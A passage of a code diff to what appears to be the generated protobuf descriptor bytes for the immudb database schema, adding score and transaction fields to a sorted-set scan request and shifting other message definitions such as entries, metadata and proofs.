0x69, 0x6f, 0x6e, 0x52, 0x0d, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, + 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x8d, 0x01, 0x0a, 0x1a, 0x56, 0x65, 0x72, 0x69, 0x66, + 0x69, 0x61, 0x62, 0x6c, 0x65, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x4b, 0x0a, 0x10, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, + 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x52, 0x10, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, + 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, + 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0x8f, 0x01, 0x0a, 0x0b, 0x5a, 0x41, 0x64, 0x64, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x73, 0x65, 0x74, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x0c, 0x52, 0x03, 0x73, 0x65, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x73, 0x63, 0x6f, 0x72, + 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x01, 0x52, 0x05, 0x73, 0x63, 0x6f, 0x72, 0x65, 0x12, 0x10, + 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, + 0x12, 0x12, 0x0a, 0x04, 0x61, 0x74, 0x54, 0x78, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, + 0x61, 0x74, 0x54, 0x78, 0x12, 0x1a, 0x0a, 0x08, 0x62, 0x6f, 0x75, 0x6e, 0x64, 0x52, 0x65, 0x66, + 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x62, 0x6f, 0x75, 0x6e, 0x64, 0x52, 0x65, 0x66, + 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, + 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x22, 0x1d, 0x0a, 0x05, 0x53, 0x63, 0x6f, 0x72, + 0x65, 0x12, 0x14, 0x0a, 0x05, 0x73, 0x63, 0x6f, 0x72, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x01, + 0x52, 0x05, 0x73, 0x63, 0x6f, 0x72, 0x65, 0x22, 0xf2, 0x02, 0x0a, 0x0c, 0x5a, 0x53, 0x63, 0x61, + 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x73, 0x65, 0x74, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x73, 0x65, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x65, + 0x65, 0x6b, 0x4b, 0x65, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x73, 0x65, 0x65, + 0x6b, 0x4b, 0x65, 0x79, 0x12, 0x1c, 0x0a, 0x09, 0x73, 0x65, 0x65, 0x6b, 0x53, 0x63, 0x6f, 0x72, + 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x01, 0x52, 0x09, 0x73, 0x65, 0x65, 0x6b, 0x53, 0x63, 0x6f, + 0x72, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x73, 0x65, 0x65, 0x6b, 0x41, 0x74, 0x54, 0x78, 0x18, 0x04, + 0x20, 0x01, 0x28, 0x04, 0x52, 0x08, 0x73, 0x65, 0x65, 0x6b, 0x41, 0x74, 0x54, 0x78, 0x12, 0x24, + 0x0a, 0x0d, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x76, 0x65, 0x53, 0x65, 0x65, 0x6b, 0x18, + 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x76, 0x65, + 0x53, 0x65, 0x65, 0x6b, 0x12, 0x14, 0x0a, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x18, 0x06, 0x20, + 0x01, 0x28, 0x04, 0x52, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, + 0x73, 0x63, 0x18, 0x07, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x64, 0x65, 0x73, 0x63, 0x12, 0x30, + 0x0a, 0x08, 0x6d, 0x69, 0x6e, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x09, 0x6b, 0x76, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, - 0x73, 0x12, 0x31, 0x0a, 0x08, 0x7a, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x18, 0x04, 0x20, - 0x03, 0x28, 0x0b, 0x32, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x7a, 0x45, 0x6e, 0x74, - 0x72, 0x69, 0x65, 0x73, 0x22, 0x94, 0x01, 0x0a, 0x07, 0x54, 0x78, 0x45, 0x6e, 0x74, 0x72, 0x79, - 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, - 0x65, 0x79, 0x12, 0x16, 0x0a, 0x06, 0x68, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x0c, 0x52, 0x06, 0x68, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x76, 0x4c, - 0x65, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x05, 0x52, 0x04, 0x76, 0x4c, 0x65, 0x6e, 0x12, 0x35, - 0x0a, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x4b, 0x56, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x52, 0x08, 0x6d, 0x65, 0x74, - 0x61, 0x64, 0x61, 0x74, 0x61, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x05, - 0x20, 0x01, 0x28, 0x0c, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x85, 0x01, 0x0a, 0x0a, - 0x4b, 0x56, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x12, 0x18, 0x0a, 0x07, 0x64, 0x65, - 0x6c, 0x65, 0x74, 0x65, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x64, 0x65, 0x6c, - 0x65, 0x74, 0x65, 0x64, 0x12, 0x39, 0x0a, 0x0a, 0x65, 0x78, 0x70, 0x69, 0x72, 0x61, 0x74, 0x69, - 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x78, 0x70, 0x69, 0x72, 0x61, 0x74, - 0x69, 0x6f, 0x6e, 0x52, 0x0a, 0x65, 0x78, 0x70, 0x69, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, - 0x22, 0x0a, 0x0c, 0x6e, 0x6f, 0x6e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x61, 0x62, 0x6c, 0x65, 0x18, - 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x6e, 0x6f, 0x6e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x61, - 0x62, 0x6c, 0x65, 0x22, 0x2a, 0x0a, 0x0a, 0x45, 0x78, 0x70, 0x69, 0x72, 0x61, 0x74, 0x69, 0x6f, - 0x6e, 0x12, 0x1c, 0x0a, 0x09, 0x65, 0x78, 0x70, 0x69, 0x72, 0x65, 0x73, 0x41, 0x74, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x65, 0x78, 0x70, 0x69, 0x72, 0x65, 0x73, 0x41, 0x74, 0x22, - 0xa1, 0x01, 0x0a, 0x0c, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, - 0x12, 0x21, 0x0a, 0x02, 0x74, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x52, - 0x02, 0x74, 0x78, 0x12, 0x36, 0x0a, 0x09, 0x64, 0x75, 0x61, 0x6c, 0x50, 0x72, 0x6f, 0x6f, 0x66, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x75, 0x61, 0x6c, 0x50, 0x72, 0x6f, 0x6f, 0x66, - 0x52, 0x09, 0x64, 0x75, 0x61, 0x6c, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x36, 0x0a, 0x09, 0x73, - 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, - 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x52, 0x09, 0x73, 0x69, 0x67, 0x6e, 0x61, 0x74, - 0x75, 0x72, 0x65, 0x22, 0xc5, 0x01, 0x0a, 0x0f, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, - 0x6c, 0x65, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x2a, 0x0a, 0x05, 0x65, 0x6e, 0x74, 0x72, 0x79, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x05, 0x65, 0x6e, - 0x74, 0x72, 0x79, 0x12, 0x3f, 0x0a, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, - 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, - 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x52, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, - 0x6c, 0x65, 0x54, 0x78, 0x12, 0x45, 0x0a, 0x0e, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, - 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x63, - 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x0e, 0x69, 0x6e, 0x63, - 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x22, 0x50, 0x0a, 0x0e, 0x49, - 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x12, 0x0a, - 0x04, 0x6c, 0x65, 0x61, 0x66, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x04, 0x6c, 0x65, 0x61, - 0x66, 0x12, 0x14, 0x0a, 0x05, 0x77, 0x69, 0x64, 0x74, 0x68, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, - 0x52, 0x05, 0x77, 0x69, 0x64, 0x74, 0x68, 0x12, 0x14, 0x0a, 0x05, 0x74, 0x65, 0x72, 0x6d, 0x73, - 0x18, 0x03, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x05, 0x74, 0x65, 0x72, 0x6d, 0x73, 0x22, 0x92, 0x01, - 0x0a, 0x0a, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x29, 0x0a, 0x03, - 0x4b, 0x56, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x56, 0x61, 0x6c, - 0x75, 0x65, 0x52, 0x03, 0x4b, 0x56, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, - 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x12, - 0x41, 0x0a, 0x0d, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x73, - 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x50, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, - 0x69, 0x6f, 0x6e, 0x52, 0x0d, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, - 0x6e, 0x73, 0x22, 0x84, 0x01, 0x0a, 0x0a, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, - 0x6b, 0x65, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x61, 0x74, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x04, 0x52, 0x04, 0x61, 0x74, 0x54, 0x78, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, - 0x54, 0x78, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, - 0x78, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, - 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x61, 0x74, 0x52, - 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x05, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0a, 0x61, - 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0x3e, 0x0a, 0x0e, 0x4b, 0x65, 0x79, - 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6b, - 0x65, 0x79, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x04, 0x6b, 0x65, 0x79, 0x73, 0x12, - 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, - 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0x59, 0x0a, 0x11, 0x44, 0x65, 0x6c, - 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, - 0x0a, 0x04, 0x6b, 0x65, 0x79, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x04, 0x6b, 0x65, - 0x79, 0x73, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, + 0x2e, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x52, 0x08, 0x6d, 0x69, 0x6e, 0x53, 0x63, 0x6f, 0x72, 0x65, + 0x12, 0x30, 0x0a, 0x08, 0x6d, 0x61, 0x78, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x18, 0x09, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x52, 0x08, 0x6d, 0x61, 0x78, 0x53, 0x63, 0x6f, + 0x72, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x16, 0x0a, 0x06, - 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, - 0x57, 0x61, 0x69, 0x74, 0x22, 0x75, 0x0a, 0x14, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, - 0x6c, 0x65, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x39, 0x0a, 0x0a, - 0x73, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x0a, 0x73, 0x65, 0x74, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, - 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0c, 0x70, - 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0x75, 0x0a, 0x14, 0x56, - 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x12, 0x39, 0x0a, 0x0a, 0x6b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x52, 0x0a, 0x6b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x22, - 0x0a, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x04, 0x52, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, - 0x54, 0x78, 0x22, 0x13, 0x0a, 0x11, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x2e, 0x0a, 0x12, 0x53, 0x65, 0x72, 0x76, 0x65, - 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x18, 0x0a, - 0x07, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, - 0x76, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0x42, 0x0a, 0x0e, 0x48, 0x65, 0x61, 0x6c, 0x74, - 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x73, 0x74, 0x61, - 0x74, 0x75, 0x73, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x73, 0x74, 0x61, 0x74, 0x75, - 0x73, 0x12, 0x18, 0x0a, 0x07, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x07, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0x7a, 0x0a, 0x16, 0x44, - 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x70, 0x65, 0x6e, 0x64, 0x69, 0x6e, 0x67, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x73, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0f, - 0x70, 0x65, 0x6e, 0x64, 0x69, 0x6e, 0x67, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x73, 0x12, - 0x36, 0x0a, 0x16, 0x6c, 0x61, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x43, 0x6f, - 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, - 0x16, 0x6c, 0x61, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x43, 0x6f, 0x6d, 0x70, - 0x6c, 0x65, 0x74, 0x65, 0x64, 0x41, 0x74, 0x22, 0xe0, 0x01, 0x0a, 0x0e, 0x49, 0x6d, 0x6d, 0x75, - 0x74, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x0e, 0x0a, 0x02, 0x64, 0x62, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x64, 0x62, 0x12, 0x12, 0x0a, 0x04, 0x74, 0x78, - 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x74, 0x78, 0x49, 0x64, 0x12, 0x16, - 0x0a, 0x06, 0x74, 0x78, 0x48, 0x61, 0x73, 0x68, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x06, - 0x74, 0x78, 0x48, 0x61, 0x73, 0x68, 0x12, 0x36, 0x0a, 0x09, 0x73, 0x69, 0x67, 0x6e, 0x61, 0x74, - 0x75, 0x72, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x69, 0x67, 0x6e, 0x61, 0x74, - 0x75, 0x72, 0x65, 0x52, 0x09, 0x73, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x12, 0x2a, - 0x0a, 0x10, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, - 0x49, 0x64, 0x18, 0x05, 0x20, 0x01, 0x28, 0x04, 0x52, 0x10, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, - 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x64, 0x12, 0x2e, 0x0a, 0x12, 0x70, 0x72, - 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x48, 0x61, 0x73, 0x68, - 0x18, 0x06, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x12, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, - 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x48, 0x61, 0x73, 0x68, 0x22, 0xd5, 0x01, 0x0a, 0x10, 0x52, - 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, - 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, - 0x79, 0x12, 0x24, 0x0a, 0x0d, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x64, 0x4b, - 0x65, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0d, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, - 0x6e, 0x63, 0x65, 0x64, 0x4b, 0x65, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x61, 0x74, 0x54, 0x78, 0x18, - 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x61, 0x74, 0x54, 0x78, 0x12, 0x1a, 0x0a, 0x08, 0x62, - 0x6f, 0x75, 0x6e, 0x64, 0x52, 0x65, 0x66, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x62, - 0x6f, 0x75, 0x6e, 0x64, 0x52, 0x65, 0x66, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, - 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x12, - 0x41, 0x0a, 0x0d, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x73, - 0x18, 0x06, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 